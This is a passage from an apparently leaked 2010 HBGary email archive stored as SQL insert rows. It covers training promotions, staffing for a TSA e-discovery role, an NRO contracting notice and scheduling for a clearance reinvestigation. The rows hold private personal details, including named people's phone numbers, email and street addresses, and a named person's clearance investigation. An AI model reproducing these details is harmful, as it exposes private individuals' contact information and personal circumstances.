attachment...\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 12:20 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt; Hi Mark &amp; Kevin&gt;&gt; HBGary Federal would like to offer a 20% discount to ISSA Colorado\r\n&gt; Springs and Sacramento members for our Social Media &amp; Information&gt; Reconnaissance training between now and the end of this year. &nbsp;Draft&gt; brochure attached. &nbsp;I\'d appreciate any comments/feedback/suggestions.\r\n&gt; Is this something you can help promote?&gt;&gt; Thanks,&gt; Ted&gt;&gt; --&gt; Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal&gt; Office 916-459-4727x118 &nbsp;| Mobile 719-237-8623&gt; www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n&gt;--Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n',2207,'aaron_hbgary_com/2207.html'),(11502,'2010-09-09','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297008664.M832566P14101Q6358.eml','aaron@hbgary.com','Register Now - Mil/Gov Career Transition Seminar & Dinner (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      Military\r\n/ Government Career Transition Seminar &amp; Dinner\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      Career Transition Seminar &amp; Dinner\r\n      The STAR Program is AFCEA NOVA’s seminar series for\r\nGovernment/Military employees that are in the process of career\r\ntransition.&nbsp;\r\n      Tuesday, October 19\r\n      Read more and register at \r\n      www.afceanova.org/transition\r\n      \r\n      \r\n      About The Seminar\r\n      The STAR Program is AFCEA NOVA’s seminar series for\r\nGovernment/Military employees that are in the process of career\r\ntransition.&nbsp;\r\n      The event will offer attendees the opportunity to gain\r\ninsights and lessons learned from others who have successfully made the\r\ntransition.&nbsp;\r\n      It also offers networking opportunities with program\r\nmanagers, hiring managers, and staffing professionals.\r\nRead more and register for the program at www.afceanova.org/transition\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year,\r\nAFCEA\r\nNOVA\'s event programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n          \r\n        \r\n           Tuesday,\r\nSeptember 21 \r\n           DHS\r\nEagle II\r\nSmall Business Breakfast\r\n        \r\n          \r\n        \r\n           Friday,\r\nOctober 15 \r\n           October\r\nLuncheon\r\nMG Steven Smith\r\n        \r\n          \r\n        \r\n           Tuesday,\r\nOctober 19 \r\n           Military /\r\nGovernment\r\nCareer Transition Seminar\r\n          \r\n        \r\n          \r\n        \r\n           Thursday,\r\nOctober 21 \r\n           9th\r\nAnnual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n          \r\n      \r\n      \r\n        \r\n           Friday,\r\nNovember 19 \r\n           November\r\nLuncheon\r\nUSMC Director C4/CIO \r\n        \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9130,'aaron_hbgary_com/9130.html'),(11503,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008664.M87307P14101Q6355.eml','\"Bill Luti\" <wluti@digitalmanagement.com>','Fwd: Need an ediscovery person in your area to support hbgary on a 	tsa','Sent from my iPadBegin forwarded message:From: Chris Coulter &lt;chris.coulter@SkoutForensics.com&gt;\r\nTo: &quot;Aaron@hbgary.com&quot; &lt;Aaron@hbgary.com&gt;Cc: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nSubject: FW: Need an ediscovery person in your area to support hbgary on a tsaHello Aaron,  My name is Chris Coulter Co-Founder of Skout Forensics and a close contact\r\nof Shane Shook, as well an acquaintance of Penny and Greg (HBGary and SkoutForensics share an OEM agreement). Shane reached out to me regarding arequirement for an eDiscovery individual to assist with the TSA.\r\nWhile I have been devoted to Skout Forensics over the past several months, Inow have a considerable amount of down-time ahead of me while a key productof ours is being developed. I have actually been pursuing contracts over the\r\npast couple of weeks. I have a broad understanding of most systemsinfrastructures and the security issues that exist. I am familiar withHBGary&#39;s Suite of products and have working knowledge of them. Specifically\r\nthough, my focus is Computer Forensics and the eDiscovery lifecycle. I amavailable anytime tonight or tomorrow if you wish to follow up. Also foryour reference I have attached my resume.\r\nThank you, Chris CoulterSkout ForensicsMobile: 202.407.1730Office: 703.755.00011915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102Chris.Coulter@SkoutForensics.com\r\n------ Forwarded MessageFrom: Shane Shook &lt;sdshook@yahoo.com&gt;Reply-To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nDate: Thu, 9 Sep 2010 00:01:52 +0000To: Chris Coulter &lt;Chris.Coulter@SkoutForensics.com&gt;Subject: Re: Need an ediscovery person in your area to support hbgary on a\r\ntsagigI&#39;m sure either you or your friend would be good - call aaron barr at hbgaryand share the detailsAaron@hbgary.com \r\n- Shane ------Original Message------From: Chris CoulterTo: Shane ShookSubject: Re: Need an ediscovery person in your area to support hbgary on a\r\ntsagigSent: Sep 8, 2010 7:02 AMHey Shane,        Is this something I could do? Actually started pursuing contractsthrough Kaylan&#39;s company. Skout is very slow for the time being or until\r\ndevelopment is completed, we are 1 month development checkpoints. The kit ison autopilot now, the big sales are almost finalized and the small-one offsales are being done by the distributors.\r\n If not a close friend who I think left Stroz might be doing someindependent work currently. I will check and see.Also just got off the phone with Tomas Castrajon from Deloitte (now General\r\nDynamics), mentioned you specifically when I brought up PwC.Sent via BlackBerry from T-Mobile\r\n------ End of Forwarded Message\r\n',9262,'aaron_hbgary_com/9262.html'),(11504,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008665.M107608P14101Q6359.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Reqs','I told some about them let mr check.Sent from my iPhoneOn Sep 8, 2010, at 8:52 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nDo you know if any of the folks you know have applied for any of the open reqs?\r\n\r\nJust checking to see if anyone is interested.\r\n\r\nChris \r\n\r\n\r\n\r\n\r\n',9368,'aaron_hbgary_com/9368.html'),(11505,'2010-09-09','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008665.M385379P14101Q6360.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need an ediscovery person in your area to support hbgary on a tsa','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron. We&#8217;ll give him a call And if you find others\r\nsend them our way. Once again, thanks much. Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 08, 2010 8:55 PM\r\nTo: William Luti\r\nSubject: Fwd: Need an ediscovery person in your area to support hbgary\r\non a tsa\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Chris Coulter &lt;chris.coulter@SkoutForensics.com&gt;\r\nTo: &quot;Aaron@hbgary.com&quot;\r\n&lt;Aaron@hbgary.com&gt;\r\nCc: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nSubject: FW: Need an ediscovery person in your area to support hbgary\r\non a tsa\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron, \r\n\r\nMy name is Chris Coulter Co-Founder of Skout Forensics and a close contact\r\nof Shane Shook, as well an acquaintance of Penny and Greg (HBGary and Skout\r\nForensics share an OEM agreement). Shane reached out to me regarding a\r\nrequirement for an eDiscovery individual to assist with the TSA.\r\n\r\nWhile I have been devoted to Skout Forensics over the past several months, I\r\nnow have a considerable amount of down-time ahead of me while a key product\r\nof ours is being developed. I have actually been pursuing contracts over the\r\npast couple of weeks. I have a broad understanding of most systems\r\ninfrastructures and the security issues that exist. I am familiar with\r\nHBGary\'s Suite of products and have working knowledge of them. Specifically\r\nthough, my focus is Computer Forensics and the eDiscovery lifecycle. I am\r\navailable anytime tonight or tomorrow if you wish to follow up. Also for\r\nyour reference I have attached my resume.\r\n\r\nThank you, \r\n\r\nChris Coulter\r\n\r\nSkout Forensics\r\nMobile: 202.407.1730\r\nOffice: 703.755.0001\r\n1915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102\r\nChris.Coulter@SkoutForensics.com\r\n\r\n\r\n\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nReply-To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nDate: Thu, 9 Sep 2010 00:01:52 +0000\r\nTo: Chris Coulter &lt;Chris.Coulter@SkoutForensics.com&gt;\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a\r\ntsagig\r\n\r\nI\'m sure either you or your friend would be good - call aaron barr at hbgary\r\nand share the details\r\n\r\nAaron@hbgary.com \r\n\r\n\r\n- Shane \r\n------Original Message------\r\nFrom: Chris Coulter\r\nTo: Shane Shook\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a\r\ntsagig\r\nSent: Sep 8, 2010 7:02 AM\r\n\r\nHey Shane,\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Is this something I could do?\r\nActually started pursuing contracts\r\nthrough Kaylan\'s company. Skout is very slow for the time being or until\r\ndevelopment is completed, we are 1 month development checkpoints. The kit is\r\non autopilot now, the big sales are almost finalized and the small-one off\r\nsales are being done by the distributors.\r\n\r\nIf not a close friend who I think left Stroz might be doing some\r\nindependent work currently. I will check and see.\r\n\r\n\r\nAlso just got off the phone with Tomas Castrajon from Deloitte (now General\r\nDynamics), mentioned you specifically when I brought up PwC.\r\n\r\n\r\n\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14360,'aaron_hbgary_com/14360.html'),(11506,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008665.M608110P14101Q6361.eml','sdshook@yahoo.com','Re: E-Discovery','Thank you Shane.AaronSent from my iPhoneOn Sep 8, 2010, at 8:04 PM, sdshook@yahoo.com wrote:\r\nChris Coulter is the guy for youChris.coulter@skoutforensics.comSent via BlackBerry from T-Mobile\r\nFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 8 Sep 2010 09:48:26 -0400To: Shane Shook&lt;sdshook@yahoo.com&gt;Subject: Re: E-DiscoveryJust talked to the prime for the TSA proposal we are going after.  The company that was putting up the person for this position bagged out at the last minute.  We will be non-compliant if we don&#39;t find a qualified candidate for e-discovery, expert witness, chain of custody.  Anyone that you might know, even if short term that has these skills we could bring them on and submit them even short term (or long-term) on the contract.\r\nThanks,AaronOn Sep 8, 2010, at 12:13 AM, Shane Shook wrote:\r\n\r\nHi Aaron - still traveling, back in Malaysia for a couple of weeks again. \r\nI know quite a few people who might be able to help - where do you need the help? \r\n- Shane\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nSent: Tue, September 7, 2010 7:02:07 PMSubject: E-Discovery\r\nHi Shane,How was your trip?  Turns out everything went great for the Oracle PenTest we conducted.Have a question.  By chance you don&#39;t know anyone with E-discovery experience, TS clearance that would like to consider a contingent offer to work E-discovery for TSA? :)\r\nThanks,Aaron\r\n\r\n',15848,'aaron_hbgary_com/15848.html'),(11507,'2010-09-09','arc@westfields.net','/aaron@hbgary.com/new/1297008665.M829216P14101Q6362.eml','federal@hbgary.com','MOD Sole Source Business Opportunity Posting','\r\nThe NRO/MOD Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP/LOE. The Effort Type is Communication Services.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',12112,'aaron_hbgary_com/12112.html'),(11508,'2010-09-09','\"Moore, Adrianne\" <adrianne.moore@usis.com>','/aaron@hbgary.com/new/1297008666.M247596P14101Q6364.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Jonathan George Security Clearance Investigation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI will be on the road most of the day so if you can meet today\r\nplease call me at 540-446-7074. If not, if we could possibly firm something up\r\nfor next week I would appreciate that.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 10:11 PM\r\nTo: Moore, Adrianne\r\nSubject: Re: Jonathan George Security Clearance Investigation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok how about later afternoon. &nbsp;I have a 10:30 to 11:30\r\nin Arlington on Glebe road, thats it for the day.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 1:17 PM, Moore, Adrianne wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNot a problem. I would appreciate if we could still meet. Next\r\nweek I have Thursday full open and most afternoons the rest of the week. I am\r\nlocated in Arlington but can come to your office if that works for you. I\r\nbelieve Jonathan said you were in the area? Thank You.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, September\r\n03, 2010 11:24 AM\r\nTo:&nbsp;Moore, Adrianne\r\nSubject:&nbsp;Re: Jonathan\r\nGeorge Security Clearance Investigation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry Adrianne,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI let this slip. &nbsp;Would you still like to set something\r\nup?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 24, 2010, at 12:45 PM, Moore, Adrianne wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy name is Adrianne Moore and I am an Investigator with the\r\nUnited States Air Force. I am conducting a security clearance reinvestigation\r\nfor&nbsp;Jonathan George.&nbsp;Jonathan George&nbsp;listed you as a reference\r\nand provided me with your email address as he did not have your current phone\r\nnumber. If at all possible I would like to set up a time that we could meet for\r\na couple of minutes to speak about Jonathan George. My phone number is\r\n540-446-7074. I appreciate your help in this process.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThank You,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUSIS/Investigator\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n4000 Legato Rd\r\n2nd Floor Suite 200\r\nFairfax, VA 22033\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(1-540)-446-7074\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nadrianne.moore@usis.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in\r\nand transmitted with this e-mail is confidential. It is intended only for the\r\nindividual or entity designated above. You are hereby notified that any\r\ndissemination, distribution, copying or use of or reliance on the information contained\r\nin and transmitted with this e-mail by or to anyone other than the recipient\r\ndesignated above by the sender is unauthorized and strictly prohibited. If you\r\nhave received this e-mail in error, please contact the sender immediately and\r\nnotify them that you received this in error. Any e-mail erroneously transmitted\r\nto you should be immediately destroyed. Thank you for your attention to this\r\nnote of confidentiality.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in and\r\ntransmitted with this e-mail is confidential. It is intended only for the\r\nindividual or entity designated above. You are hereby notified that any\r\ndissemination, distribution, copying or use of or reliance on the information\r\ncontained in and transmitted with this e-mail by or to anyone other than the\r\nrecipient designated above by the sender is unauthorized and strictly\r\nprohibited. If you have received this e-mail in error, please contact the\r\nsender immediately and notify them that you received this in error. Any e-mail\r\nerroneously transmitted to you should be immediately destroyed. Thank you for\r\nyour attention to this note of confidentiality.&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in and transmitted with this e-mail is confidential.  It is intended only for the individual or entity designated above. You are hereby notified that any dissemination, distribution, copying or use of or reliance on the information contained in and transmitted with this e-mail by or to anyone other than the recipient designated above by the sender is unauthorized and strictly prohibited.  If you have received this e-mail in error, please contact the sender immediately and notify them that you received this in error.  Any e-mail erroneously transmitted to you should be immediately destroyed.  Thank you for your attention to this note of confidentiality. \r\n\r\n\r\n\r\n\r\n\r\n\r\n',13862,'aaron_hbgary_com/13862.html'),(11509,'2010-09-09','arc@westfields.net','/aaron@hbgary.com/new/1297008666.M36499P14101Q6363.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some 